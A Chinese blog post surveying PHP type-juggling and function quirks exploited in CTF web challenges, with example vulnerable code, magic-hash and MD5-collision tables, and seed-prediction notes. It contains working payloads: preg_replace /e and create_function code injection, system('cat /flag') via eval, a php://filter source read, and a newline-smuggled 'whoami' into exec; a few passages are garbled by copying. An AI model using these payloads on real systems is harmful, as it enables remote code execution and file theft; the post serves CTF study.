CTF中php相关考点

以前在做CTF题的时候总是会遇到一些用php的trick才能过的题,知识点还是很杂的,主要是php这种动态弱类型语言实在是太灵活,各种奇葩写法也多,把之前的知识总结下。

学长的博客有对php黑魔法进行了一些总结,我在此基础上进行拓展

https://skysec.top/2017/07/22/PHP%E5%87%BD%E6%95%B0%E9%BB%91%E9%AD%94%E6%B3%95%E5%B0%8F%E6%80%BB%E7%BB%93/#%E9%BB%91%E9%AD%94%E6%B3%95%E5%AE%9E%E4%BE%8B%E8%84%9A%E6%9C%AC

弱比较

若字符串以数字开头,则取开头数字作为转换结果,若无则输出0

<?php 
echo "---------------- 弱比较黑魔法 -------------------------";
echo "<br>";echo "<br>";
if (1 == "1abc") {
	if (0 == "abc") {
		if ("0e132456789" == "0e7124511451155") {
			#常见于md5弱比较绕过
			echo "两个'=='的弱比较成功";
		}
	}
}

md5(),sha1()

md5()是不能处理数组的,md5(数组)会返回null,两个null相等绕过
sha1()也是同理

<?php 
echo "---------------- md5(),sha1()黑魔法 -------------------------";
echo "<br>";echo "<br>";
$md5_bug1[]=1;
$md5_bug2[]=2;
if (md5($md5_bug1) === md5($md5_bug2)&&$md5_bug1!==$md5_bug2){
	if (sha1($md5_bug1) === sha1($md5_bug2)&&$md5_bug1!==$md5_bug2){
		echo "md5传入数组绕过成功";
	}
}

转换

php会自动进行转换,比如16进制,科学计数法等,有时也用这点绕过

比如限制短的长度却要求比一个很大的数字大,就可以用科学计数法绕过

<?php 
echo "---------------- 转换黑魔法 -------------------------";
echo "<br>";echo "<br>";
echo "0x1e240 自动转换10进制:",0x1e240;
echo "<br>";
echo "123456 十进制数:",123456;
echo "<br>";
echo "1e240 科学计数法自动转换:",1e240;

intval()

intval()转换的时候,会将从字符串的开始进行转换知道遇到一个非数字的字符。
即使出现无法转换的字符串,intval()不会报错而是返回0。
注:
在科学计数法字符串转换为数字时,如果 E 后面的数小于某个值会弄成 double 类型,再强制转换为 int 类型时可能会有奇妙的结果,测试发现某变量为 1e-1000 时已经可以触发这个漏洞绕过两个检查,使得某变量既大于 0 又不大于 0。
例如:

var_dump((int)('1e-1000')>0);
var_dump('1e-1000'>0);

结果

Command line code:1:
bool(true)
Command line code:1:
bool(false)

再如:

var_dump((int)('1e-10')>0);
var_dump('1e-10'>0);

结果

Command line code:1:
bool(true)
Command line code:1:
bool(true)
<?php
echo " ---------------- intval()黑魔法 -------------------------";
echo "<br>";echo "<br>";
echo "2 的intval()转换结果:",intval('2');
echo "<br>";
echo "3abcd 的intval()转换结果:",intval('3abcd');
echo "<br>";
echo "abcd 的intval()转换结果:",intval('abcd'); 
echo "<br>";echo "<br>";
$intval_bug = '1e-1000';
if ((int)($intval_bug) > 0) {
	if ($intval_bug <= 0) {
		echo "intval()转换问题绕过成功";
	}
}

strcmp()

int strcmp ( string $str1 , string $str2 )
参数 str1第一个字符串。str2第二个字符串。
如果 str1 小于 str2 返回 < 0;
如果 str1 大于 str2 返回 > 0;
如果两者相等,返回 0。

strcmp()函数只有在相等的情况下返回0。
php在5.3版本之前若传入的是一个非字符串类型数据,比如数组和对象,则会报错,但在报错的同时会返回0,那么我们传入一个数组,它会返回NULL,而判断使用了== ,但是NULL==0是bool(true),这样就成功绕过。

<?php
echo "---------------- strcmp()黑魔法 -------------------------";
echo "<br>";echo "<br>";
$strcmp_bug[]=1;
if (@strcmp($strcmp_bug, "you_don't_know_this_string") == 0){
	echo "strcmp()数组黑魔法绕过成功";
}

ereg()

字符串对比解析,ereg函数存在NULL截断漏洞,当ereg读取字符串string时,如果遇到了%00,后面的字符串就不会被解析。
注:这里的%00是需要urldecode才可以截断的,这是url终止符,且%00长度是1不是3

<?php
echo "---------------- ereg()黑魔法 -------------------------";
echo "<br>";echo "<br>";
$input = urldecode('1e8%00*-*');
// echo strlen($input); #7
if (isset($input)){
	if (@ereg ("^[a-zA-Z0-9]+$",$input) === FALSE){
		echo $input;
        echo '输入只能是数字和字母!';
    }
	else{
		echo "ereg()%00截断绕过成功";   
	}
}
<?php
if (isset ($_GET['password'])) {
   if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
   {
       echo '<p>You password must be alphanumeric</p>';
   }
   else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) //科学计数法绕过
   {
       if (strpos ($_GET['password'], '*-*') !== FALSE)
       {
           die('Flag: ' . $flag);
       }
       else
       {
           echo('<p>*-* have not been found</p>');
       }
   }
   else
   {
       echo '<p>Invalid password</p>';
   }
}
?>
    

//payload: ?password=1e8%00*-*

is_numeric()

当有两个is_numeric判断并用and连接时,and后面的is_numeric可以绕过
16进制也可以绕过is_numeric()检验,可以用来绕过sql注入里的过滤

<?php
echo "---------------- is_numeric()黑魔法 -------------------------";
echo "<br>";echo "<br>";
$is_numeric1 = "0123";
$is_numeric2 = "abc";
$c=is_numeric($is_numeric1) and is_numeric($is_numeric2);

if ($c) {
	if (is_numeric('    +.1234e5678')) {
		echo "is_numeric()连用漏洞绕过";
		# 这样也能绕过检测……
	}
}

is_numeric 检测的时候会自动过滤掉前面的 ‘ ‘, ‘\t’, ‘\n’, ‘\r’, ‘\v’, ‘\f’ 等字符,但是不会过滤 ‘\0’,如果这些字符出现在字符串尾,也不会过滤,而是返回 false

switch()

当switch没有break时可以继续往下执行。
这里也有自动转换,比如$switch_bug = a,会当0执行,=1a,会当1执行……

<?php
echo "---------------- switch()黑魔法 -------------------------";
echo "<br>";echo "<br>";
@$switch_bug = 0;
if (isset ( $switch_bug )) {
	switch ($switch_bug) {
 		case 0 :
 				echo '你已经运行到了case0';
 				echo "<br>";
 		case 1 :
 				echo '你已经运行到了case1';
 				echo "<br>";
 		case 2 :
 				echo '你已经运行到了case2';
 				echo "<br>";
 				echo "switch()没有break连续运行绕过成功";
 				break;
 		default :
 				echo "1";
 				break;
 }
}

array_search()

用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。
当检索中带入字符串,比如”sky”,会intval(‘sky’)==0,从而致使数字数组也可以查询成功

<?php
echo "---------------- array_search()黑魔法 -------------------------";
echo "<br>";echo "<br>";
$array_search=[1,0];
$eee = @array_search("XMAN", $array_search);
if($eee){
	echo "array_search()检索字符串绕过成功";
}

json_decode()

<?php
echo "---------------- json_decode()黑魔法 -------------------------";
echo "<br>";echo "<br>";
$v3=0;
$input = '{"key":0001}';
$b=json_decode(@$input); #$b=NULL
if($var = $b === NULL){//先$b===NULL -> true,然后$var=true,通过if判断
        ($var === true)?$v3=1:NULL;
        if ($v3) {
        	echo "json_decode()函数漏洞绕过成功";
        }
    }
?>

in_array()

bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
说明:在 haystack 中搜索 needle,如果没有设置 strict 则使用 宽松 的比较。如果第三个参数 strict 的值为 true,则 in_array 函数还会检查 needle 的 类型 是否和 haystack 中的相同。

<?php
$array=[0,1,2];  
var_dump(in_array('ab', $array)); //true  
var_dump(in_array('1ab', $array));

preg_replace /e 模式下的代码执行

学习链接

preg_replace:(PHP 5.5)
功能 : 函数执行一个正则表达式的搜索和替换
定义 : mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject )
搜索 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 进行替换
$pattern 存在 /e 模式修正符,允许代码执行
/e 模式修正符,是 preg_replace() 将 $replacement 当做php代码来执行

例题

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
function getFlag(){
	@eval($_GET['cmd']);
}




//payload:

?\S*=${phpinfo()}
?\S*=${eval(getFlag())}&cmd=system('cat /flag');
#最后的分号要加,除此之外,也可以:
?\S*=${eval($_POST[lemon])}
#POST DATA
lemon=system('cat /flag');

require_once

使用require_once后只能包含一次,导致后面利用协议+文件包含读取该文件失败,无法读出该文件的内容。

绕过

?filename=php://filter/read=convert.base64-encode/resource=/x/../proc/self/cwd/index.php

create_function()

https://paper.seebug.org/94/

创建一个匿名(lambda样式)函数

create_function ( string $args , string $code ) : string

根据传递的参数创建一个匿名函数,并为其返回唯一的名称。如果没有严格对参数传递进行过滤,攻击者可以构造payload传递给create_function()对参数或函数体闭合注入恶意代码导致代码执行

create_function(’$fname’,‘echo $fname.“Zhang”’)

等价于

function fT($fname) {
echo $fname.“Zhang”;
}

例题

<?php
$id = $_GET['id'];
$code = 'echo'.$id.'is'.$a.";";
$func = create_function('$a',$code);
?>

?id=1;}phpinfo();/*
等价于
function niming($a){
echo 1;}phpinfo();/*.'is'.$a; # /*会注释掉之后的代码,或者用//也行
}

escapeshellarg/escapeshellcmd

https://www.anquanke.com/post/id/107336

双引号和${}

PHP双引号中的变量会被正常解析,比如"hello n a m e " , name", name"name的值会被代入。

里 面 的 代 码 会 正 常 执 行 。 比 如 {}里面的代码会正常执行。比如 {@eval(…)}一句话木马。

parse_url

完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
这里仅讨论url中不含'?'的情况

php parse_url:
host: 匹配最后一个@后面符合格式的host

libcurl:
host:匹配第一个@后面符合格式的host

如:
http://u:p@a.com:80@b.com/
php解析结果:
 schema: http 
 host: b.com
 user: u
 pass: p@a.com:80
libcurl解析结果:
 schema: http
 host: a.com
 user: u
 pass: p
 port: 80
 后面的@b.com/会被忽略掉

最大数组长度

<?php
    $four_word = $_POST['web'];
    $a = $_POST['a'];
    $b = $_POST['b'];
    $c = $_POST['c'];
    if (md5($four_word) == '327a6c4304ad5938eaf0efb6cc3e53dc' && md5($a) === 
md5($b) && $a !== $b) {
        if($array[++$c]=1){
            if($array[]=1){
                echo "nonono";
            }
            else{
                require_once 'flag.php';
                echo $flag;
            }
        }
    } 
?>
?web=flag&a[]=1&b[]=2&c=922337203685477580

前面的md5和数组绕过就不说了,直接看$c

php中数组可以直接赋值,新赋值加在数组最后,php自动扩容,要让第一个if赋值成功,第二个if赋值失败

php数据的最大容量是922337203685477581,所以最后一个空间也有值后在增加新值就会失败,第二个if中赋值失败为false

$GLOBALS

超全局变量,可获取全局作用域中可用的全部变量

var_dump($GLOBALS);

其它系统变量

$_POST // 获取 post 数据,是一个字典
$_GET // 获取 get 数据,是一个字典
$_COOKIE // 获取 cookie
$_SESSION // 获取 session
$_FILES // 获取上传的文件
$_REQUEST // 获取 G E T , _GET, GET_POST,$_COOKIE 中的数据
$_ENV // 环境变量
$_SERVER // 服务器和执行环境信息

and和&&

都表示于,但优先级不一样

and < = < &&

or < = < ||

<?php
$a=true and false;
$b = true && false;  
var_dump($a); //true
var_dump($b); //false
?>

php变量命名

PHP变量由数字字母下划线组成,以GET或POST方式传进去的变量,会自动将空格 + . [转换为_

trick

特殊字符[GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了

可以看CTFshow的web123,也可以用以下代码演示下这个特性

<?php
var_dump($_POST);
?>
输入 CTF_SHOW.COM=1
返回
array (size=1)
  'CTF_SHOW_COM' => string '1' (length=1)

    输入 CTF[SHOW.COM=1
返回
array (size=1)
  'CTF_SHOW.COM' => string '1' (length=1)

突然发现一个总结地很全的php特性文章,一些东西也不用再自己重复写了,下面copy一些总结的不错的(不过这个博主也是转载的,原文章的链接貌似无了。。。)

https://blog.csdn.net/fastergohome/article/details/102514264

magic hash

md5

# 0e 开头,后面全是数字的
240610708: 0e462097431906509019562988736854
QLTHNDT: 0e405967825401955372549139051580
QNKCDZO: 0e830400451993494058024219903391
PJNPDWY: 0e291529052894702774557631701704
NWWKITQ: 0e763082070976038347657360817689
NOOPCJF: 0e818888003657176127862245791911
MMHUWUV: 0e701732711630150438129209816536
MAUXXQC: 0e478478466848439040434801845361
IHKFRNS: 0e256160682445802696926137988570
GZECLQZ: 0e537612333747236407713628225676
GGHMVOE: 0e362766013028313274586933780773
GEGHBXL: 0e248776895502908863709684713578
EEIZDOI: 0e782601363539291779881938479162
DYAXWCA: 0e424759758842488633464374063001
DQWRASX: 0e742373665639232907775599582643
BRTKUJZ: 00e57640477961333848717747276704
ABJIHVY: 0e755264355178451322893275696586
aaaXXAYW: 0e540853622400160407992788832284
aabg7XSs: 0e087386482136013740957780965295
aabC9RqS: 0e041022518165728065344349536299

sha1

10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729

crc32

6586: 0e817678

两个 md5 一样的字符串

from binascii import unhexlify
from hashlib import md5
from future.moves.urllib.parse import quote

input1 = 'Oded Goldreich\nOded Goldreich\nOded Goldreich\nOded Go' + unhexlify(
'd8050d0019bb9318924caa96dce35cb835b349e144e98c50c22cf461244a4064bf1afaecc5820d428ad38d6bec89a5ad51e29063dd79b16cf67c12978647f5af123de3acf844085cd025b956')

print(quote(input1))
print md5(input1).hexdigest()

input2 = 'Neal Koblitz\nNeal Koblitz\nNeal Koblitz\nNeal Koblitz\n' + unhexlify('75b80e0035f3d2c909af1baddce35cb835b349e144e88c50c22cf461244a40e4bf1afaecc5820d428ad38d6bec89a5ad51e29063dd79b16cf6fc11978647f5af123de3acf84408dcd025b956')
print md5(input2).hexdigest()
print(quote(input2))

另外一组 md5 一样的字符串

from array import array
from hashlib import md5
input1 = array('I', [0x6165300e,0x87a79a55,0xf7c60bd0,0x34febd0b,0x6503cf04,0x854f709e,0xfb0fc034,0x874c9c65,0x2f94cc40,0x15a12deb,0x5c15f4a3,0x490786bb,0x6d658673,0xa4341f7d,0x8fd75920,0xefd18d5a])
input2 = array('I', [x^y for x,y in zip(input1, [0, 0, 0, 0, 0, 1<<10, 0, 0, 0, 0, 1<<31, 0, 0, 0, 0, 0])])
print(input1 == input2) # False
print(md5(input1).hexdigest()) # cee9a457e790cf20d4bdaa6d69f01e41
print(md5(input2).hexdigest()) # cee9a457e790cf20d4bdaa6d69f01e41

magic hash

md2 32  505144726   0e015339760548602306096794382326    WhiteHat Security, Inc.
md4 32  48291204    0e266546927425668450445617970135    WhiteHat Security, Inc.
md5 32  240610708   0e462097431906509019562988736854    Michal Spacek
sha1    40  10932435112 0e07766915004133176347055865026311692244    Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham
sha224  56  –   –   –
sha256  64  –   –   –
sha384  96  –   –   –
sha512  128 –   –   –
ripemd128   32  315655854   0e251331818775808475952406672980    WhiteHat Security, Inc.
ripemd160   40  20583002034 00e1839085851394356611454660337505469745    Michael A Cleverly
ripemd256   64  –   –   –
ripemd320   80  –   –   –
whirlpool   128 –   –   –
tiger128,3  32  265022640   0e908730200858058999593322639865    WhiteHat Security, Inc.
tiger160,3  40  13181623570 00e4706040169225543861400227305532507173    Michele Spagnuolo
tiger192,3  48  –   –   –
tiger128,4  32  479763000   00e05651056780370631793326323796    WhiteHat Security, Inc.
tiger160,4  40  62241955574 0e69173478833895223726165786906905141502    Michele Spagnuolo
tiger192,4  48  –   –   –
snefru  64  –   –   –
snefru256   64  –   –   –
gost    64  –   –   –
adler32 8   FR  00e00099    WhiteHat Security, Inc.
crc32   8   2332    0e684322    WhiteHat Security, Inc.
crc32b  8   6586    0e817678    WhiteHat Security, Inc.
fnv132  8   2186    0e591528    WhiteHat Security, Inc.
fnv164  16  8338000 0e73845709713699    WhiteHat Security, Inc.
joaat   8   8409    0e074025    WhiteHat Security, Inc.
haval128,3  32  809793630   00e38549671092424173928143648452    WhiteHat Security, Inc.
haval160,3  40  18159983163 0e01697014920826425936632356870426876167    Independently found by Michael Cleverly & Michele Spagnuolo
haval192,3  48  48892056947 0e4868841162506296635201967091461310754872302741    Michael A. Cleverly
haval224,3  56  –   –   –
haval256,3  64  –   –   –
haval128,4  32  71437579    0e316321729023182394301371028665    WhiteHat Security, Inc.
haval160,4  40  12368878794 0e34042599806027333661050958199580964722    Michele Spagnuolo
haval192,4  48  –   –   –
haval224,4  56  –   –   –
haval256,4  64  –   –   –
haval128,5  32  115528287   0e495317064156922585933029613272    WhiteHat Security, Inc.
haval160,5  40  33902688231 00e2521569708250889666329543741175098562    Michele Spagnuolo
haval192,5  48  52888640556 0e9108479697641294204710754930487725109982883677    Michele Spagnuolo
haval224,5  56  –   –   –
haval256,5  64  –   –   –

hash 比较的问题

0e 开头且后面都是数字会被当作科学计数法,也就是等于 0*10^xxx=0。如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过。

// '0e5093234' 为 0,'0eabc3234' 不为 0
 
// true
'0e509367213418206700842008763514' == '0e481036490867661113260034900752'
// true
'0e481036490867661113260034900752' == '0' 
 
// false
var_dump('0' == '0e1abcd');
// true
var_dump(0 == '0e1abcd');
 
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));

如果要找出 0e 开头的 hash 碰撞,可以用如下代码

<?php
 
$salt = 'vunp';
$hash = '0e612198634316944013585621061115';
 
for ($i=1; $i<100000000000; $i++) {
    if (md5($salt . $i) == $hash) {
        echo $i;
        break;
    }
}
 
echo '  done';

strcmp 和 strcasecmp

strcmp 和 strcasecmp(不区分大小写) 用于比较字符串,返回值如下:

如果 str1 小于 str2 返回 < 0;
如果 str1 大于 str2 返回 > 0;
如果两者相等,返回 0。

数组跟字符串比较会返回 0

$array=[1, 2, 3];
//这里会输出 null,在某种意义上 null 也就是相当于 false,也就是判断为相等
var_dump(strcmp($array, 'abc')); 
var_dump(strcasecmp($array, 'abc'));

parse_url

parse_url() 函数可以解析 URL,返回其组成部分,此函数并不意味着给定的 URL 是合法的,它只是将上方列表中的各部分分开。parse_url() 可接受不完整的 URL,并尽量将其解析正确。

\1. url解析错误

parse_url在url不能被解析的时候就会返回false。

<?php
$url = $_GET['url'];
var_dump(parse_url($url));

当一个url没有协议的时候,但是给一个端口url的字符串的时候parse_url就会爆错。这个经测试在windows下应该是php版本全通杀的(5.2-7.0),linux没测试过。

/pupiles.com:80

只要端口后面跟字母还是会解析,比如

/pupiles.com:80a
array (size=1)
  'path' => string '/pupiles.com:80a' (length=16)

\2. 端口解析错误

// php5.5以上这样的url用parse_url解析后预测的结果是
//pupiles.com/about:1234

array(2) {
  ["host"]=>
  string(11) "pupiles.com"
  ["path"]=>
  string(9) "/about:1234"
}

然而实际结果是

array(3) {
  ["host"]=>
  string(11) "pupiles.com"
  ["port"]=>
  int(1234)
  ["path"]=>
  string(9) "/about:1234"
}

会默认解析出一个portkey

\3. 路径解析错误

<?php
// single slash case
$uri = "/upload?/home/binarycloud/";
$data = parse_url($uri);
print_r($data);
// doubleslash case
$uri = "//upload?/home/binarycloud/";
$data = parse_url($uri);
print_r($data);
?>

输出结果

Array
(
    [path] => /upload
    [query] => /home/binarycloud/
)
Array
(
    [host] => upload?
    [path] => /home/binarycloud/
)

\4. 端口溢出

在php5.3.13版本以下,当输入如下url

http://pupiles:78325

按照正常来说应该会返回false,但是这里会返回

array(3) { 
    ["scheme"]=> string(4) "http" 
    ["host"]=> string(7) "pupiles" 
    ["port"]=> int(12789) 
}

preg_match

emmmm…,正则最大长度这个可能后面会在命令执行的总结里写下,看下到时候能不能找个例题演示下

preg_match 函数用于进行正则表达式匹配,返回 pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题

$ip = '1.1.1.1 abcd'; // 可以绕过
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
  die('error');
} else {
  // echo('key...')
}

pre_match 在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,如果传入一个超长的字符串,会导致 pre_match 消耗大量资源从而导致 php 超时,后面的 php 语句就不会执行。payload:

$code="xdsec###AAAAAAAAAAAAAAAAAAA(超多个A)";
preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/", $code));

就是匹配文件名由字母、数字、下划线、破则号、斜杠、空白字符各种组合的并且后缀名是rpt的文件,如果匹配成功,就执行系统命令file打印文件的类型和编码信息,如果匹配失败就打印’regex failed’.

[http://10.10.10.141/test/test_rce/4/rce_path.php?path=filed.rpt whoami](http://10.10.10.141/test/test_rce/4/rce_path.php?path=filed.rpt whoami)

如果开启了/m,会存在绕过

<?php
$file_name=$_GET['path'];
if (!preg_match("/^[a-zA-Z0-9-s_]+.rpt$/m", $file_name)) {
  echo "regex failed";
} else {
    echo exec("/usr/bin/file -i -b ".$file_name);
}

注意到正则表达式结尾的/m 了,在php中,/m表示开启多行匹配模式,开启多行匹配模式之后^和的 含 义 就 发 生 了 变 化 , 没 开 启 多 行 模 式 之 前 ( 即 单 行 匹 配 模 式 ) , 和 的含义就发生了变化,没开启多行模式之前(即单行匹配模式), ^ 和的含义就发生了变化,没开启多行模式之前(即单行匹配模式),和 是匹配字符串的开始和结尾,开启多行模式之后,多行模式^,$可以匹配每行的开头和结尾,所以上述payload里面含有换行符,被当做两行处理,一行匹配OK即可,所以进入了exec执行分支,进而导致命令执行。

[http://10.10.10.141/test/test_rce/4/rce_path.php?path=filed.rpt whoami](http://10.10.10.141/test/test_rce/4/rce_path.php?path=filed.rpt whoami)

开启/m

^ 行首
$ 行尾

不开启/m

^ 字符串的开始
$ 字符串的结尾

修饰符说明

i 在和正则匹配是不区分大小写 
m 将字符串视为多行。默认的正则开始“^”和结束“$”将目标字条串作为一单一的一“行”字符(甚至其中包括换行符也是如此)。如果在修饰符中加上“m”,那么开始和结束将会指点字符串的每一行的开头就是“^”结束就是“$”。 
o 评估表达式只有一次
s 如果设定了这个修正符,那么,被匹配的字符串将视为一行来看,包括换行符,换行符将被视为普通字符串。 
x 忽略空白,除非进行转义的不被忽略。 
g 在全局范围内找到所有匹配
cg 即使全局匹配失败也允许搜索继续

mt_rand()

mt_rand() 函数是一个伪随机发生器,即如果知道随机数种子是可以预测的。

$seed = 12345;
mt_rand($seed);
 
$ss = mt_rand();

linux 64 位系统中,rand() 和 mt_rand() 产生的最大随机数都是2147483647,正好是 2^31-1,也就是说随机播种的种子也是在这个范围中的,0 – 2147483647 的这个范围是可以爆破的。
但是用 php 爆破比较慢,有一个 C 的版本,可以根据随机数,爆破出种子 php_mt_seed。

在 php > 4.2.0 的版本中,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已由 PHP 自动完成。php 中产生一系列的随机数时,只进行了一次播种,而不是每次调用 mt_rand() 都进行播种。

rand()

rand() 函数在产生随机数的时候没有调用 srand(),则产生的随机数是有规律可询的。具体的说明请看这里。产生的随机数可以用下面这个公式预测:

# 一般预测值可能比实际值要差1
state[i] = state[i-3] + state[i-31]

可以用下面的代码验证一下

<?php 
$randStr = array(); 
for($i=0;$i<50;$i++) {  //先产生 32个随机数 
    $randStr[$i]=rand(0,30); 
    if($i>=31) { 
        echo  "$randStr[$i]=(".$randStr[$i-31]."+".$randStr[$i-3].") mod 31"."\n"; 
    } 
} 
?>

<?=

<?= ?>可输出变量和内容
<?=phpinfo() ?>
<?=$a ?>
<?="123" ?>

其余php文件包含,命令执行啥的就不在这写了,后面有时间再重新总结下。

Reference

https://skysec.top/2017/07/22/PHP%E5%87%BD%E6%95%B0%E9%BB%91%E9%AD%94%E6%B3%95%E5%B0%8F%E6%80%BB%E7%BB%93/#%E9%BB%91%E9%AD%94%E6%B3%95%E5%AE%9E%E4%BE%8B%E8%84%9A%E6%9C%AC

https://paper.seebug.org/94/

https://www.jianshu.com/p/9c031dee57b7

https://blog.csdn.net/fastergohome/article/details/102514264

  • 2
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTF(Capture The Flag)竞赛,常见的一个攻击技术是PHP代码注入(PHP Code Injection)。这种攻击利用了应用程序对用户输入的不充分验证和过滤,使得攻击者能够将恶意的PHP代码注入到应用程序,从而执行任意代码或实施其他攻击。 以下是一些常见的PHP代码注入漏洞场景和防范措施: 1. 用户输入的直接执行:如果应用程序直接将用户输入作为PHP代码执行,而没有进行充分的验证和过滤,攻击者可以通过提交恶意代码来执行任意操作。防范措施是使用合适的输入验证和过滤,例如使用白名单来限制允许的操作或使用安全的函数来处理用户输入。 2. 变量覆盖:如果应用程序在解析用户输入时,没有正确处理变量覆盖的情况,攻击者可以通过构造特殊的输入来覆盖应用程序的变量,并执行恶意操作。防范措施是在处理用户输入之前,将其赋值给新的变量,并确保不会被覆盖已有的变量。 3. 文件包含漏洞:如果应用程序在包含文件时没有进行充分的验证和过滤,攻击者可以通过构造特殊的文件路径来包含恶意的PHP代码文件。防范措施是使用白名单来限制允许包含的文件路径,并对用户输入进行适当的过滤和验证。 4. 数据库查询注入:虽然不是直接的PHP代码注入,但数据库查询注入漏洞可能导致执行恶意的SQL语句,从而进一步执行PHP代码。防范措施是使用参数化查询或预处理语句,避免直接将用户输入拼接到SQL查询。 总之,要防范PHP代码注入漏洞,开发者应该始终进行充分的输入验证和过滤,使用安全的函数和方法处理用户输入,避免直接执行或拼接用户输入作为代码执行。同时,定期更新和修复应用程序使用的框架、库和组件,以确保使用的是最新的安全版本。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值